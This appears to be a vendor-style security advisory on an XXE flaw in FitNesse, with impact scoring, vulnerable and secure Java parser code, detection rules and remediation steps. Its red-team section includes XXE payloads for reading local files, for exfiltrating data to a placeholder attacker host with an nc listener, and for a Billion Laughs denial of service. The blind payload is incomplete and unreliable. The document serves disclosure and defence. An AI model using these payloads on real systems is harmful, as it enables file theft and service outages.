CVE-2024-28039

Executive Summary

CVE-2024-28039 is a critical XML External Entity (XXE) injection vulnerability in FitNesse, a web-based wiki and test automation framework. The flaw allows a remote unauthenticated attacker to read arbitrary files, exfiltrate sensitive data, modify server-side content, or trigger a denial-of-service (DoS) condition. No official patch has been released, and the vendor has not acknowledged the issue. The vulnerability affects all releases of FitNesse.

Supply Chain & Package Security

FitNesse is a Java-based application distributed as a standalone JAR or via Maven. The vulnerability exists in the core XML parsing logic, which is not a third-party dependency issue but a direct coding flaw. Users should treat this as a critical supply chain risk if FitNesse is integrated into CI/CD pipelines or used to process untrusted XML data.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the following is estimated:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication and can lead to full compromise of the server's confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in FitNesse's XML processing functionality. When the application parses XML input (e.g., from test results, configuration files, or user-submitted data), it does not disable external entity resolution. An attacker can craft a malicious XML payload that includes an external entity pointing to a local file or a remote resource.

Mechanism:

1. The attacker sends a specially crafted XML document to a FitNesse endpoint (e.g., /files, /upload, or any endpoint that processes XML).
2. The XML parser processes the external entity definition, which can reference:
   • Local files (e.g., file:///etc/passwd)
   • Remote URLs (e.g., http://attacker.com/exfil)
   • Internal network resources (e.g., http://internal-server/)
3. The parser substitutes the entity with the content of the referenced resource, which is then included in the response or processed further.
4. This can lead to:
   • Information Disclosure: Reading sensitive files (e.g., credentials, configuration).
   • Data Alteration: Modifying server-side data if the parser writes back.
   • Denial of Service: Using recursive entity references (Billion Laughs attack) to exhaust server resources.

Vulnerable vs. Patched Code

Vulnerable Code (Java example):

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;

public class VulnerableXmlParser {
    public Document parseXml(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new java.io.ByteArrayInputStream(xml.getBytes()));
    }
}

Patched Code (Secure configuration):

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;

public class SecureXmlParser {
    public Document parseXml(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        // Disable external entity processing
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);
        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new java.io.ByteArrayInputStream(xml.getBytes()));
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable FitNesse instance (e.g., using Docker: docker run -p 8080:80 fitnesse:latest).
2. Identify an endpoint that accepts XML (e.g., /files or a custom test page).

Exploit Payload (XXE for file read):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Exploit Payload (Blind XXE with out-of-band exfiltration):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/exfil?data=%file;">
  %xxe;
]>
<root>test</root>

Exploit Payload (Denial of Service - Billion Laughs):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  ...
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>

Usage:

• Send the payload via HTTP POST to the vulnerable endpoint.
• For file read, the response will contain the file content.
• For blind XXE, set up a listener (e.g., nc -lvnp 80) to capture exfiltrated data.

Blue Team

Detection:

• Monitor for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
• Look for outbound connections from the FitNesse server to unknown external IPs.
• Alert on high CPU/memory usage indicative of DoS attacks.

Hunting:

• Search logs for XML parsing errors or unexpected file reads.
• Use network traffic analysis to detect data exfiltration via HTTP requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled servers from the FitNesse host.
  • Unusual DNS queries for external domains.
• File IOCs:
  • Presence of /etc/passwd or other sensitive files in FitNesse logs or responses.
  • Modified configuration files (e.g., plugins.properties).
• System IOCs:
  • High CPU or memory usage due to recursive entity expansion.
  • Unexpected file read errors in application logs.

Detection Engineering

YARA Rule

rule CVE_2024_28039_XXE_FitNesse {
    meta:
        description = "Detects XXE payloads targeting FitNesse CVE-2024-28039"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-28039"
    strings:
        $xxe1 = "<!DOCTYPE" ascii nocase
        $xxe2 = "<!ENTITY" ascii nocase
        $xxe3 = "SYSTEM" ascii nocase
        $xxe4 = "file:///" ascii nocase
        $xxe5 = "http://" ascii nocase
        $xxe6 = "https://" ascii nocase
    condition:
        all of ($xxe1, $xxe2, $xxe3) and 1 of ($xxe4, $xxe5, $xxe6)
}

Sigma Rule

title: CVE-2024-28039 XXE Exploitation Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XXE payloads in HTTP requests to FitNesse
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
            - 'file:///'
    condition: selection
falsepositives:
    - Legitimate XML processing with DTDs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28039 XXE Exploitation Attempt"; flow:to_server; content:"<!DOCTYPE"; nocase; content:"<!ENTITY"; nocase; content:"SYSTEM"; nocase; content:"file:///"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable XML processing in FitNesse if not required.
2. Apply input validation to reject XML containing DTDs or external entities.
3. Use a Web Application Firewall (WAF) to block XXE payloads.
4. Restrict outbound network access from the FitNesse server to prevent data exfiltration.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative tool or implementing a custom fix by modifying the XML parser configuration as shown in the patched code section.
• Monitor for updates from the FitNesse project or community forks.

Workaround:

• If FitNesse is used in a controlled environment, isolate it from untrusted networks and limit user access.

Valters IT
Securing Your Digital Frontier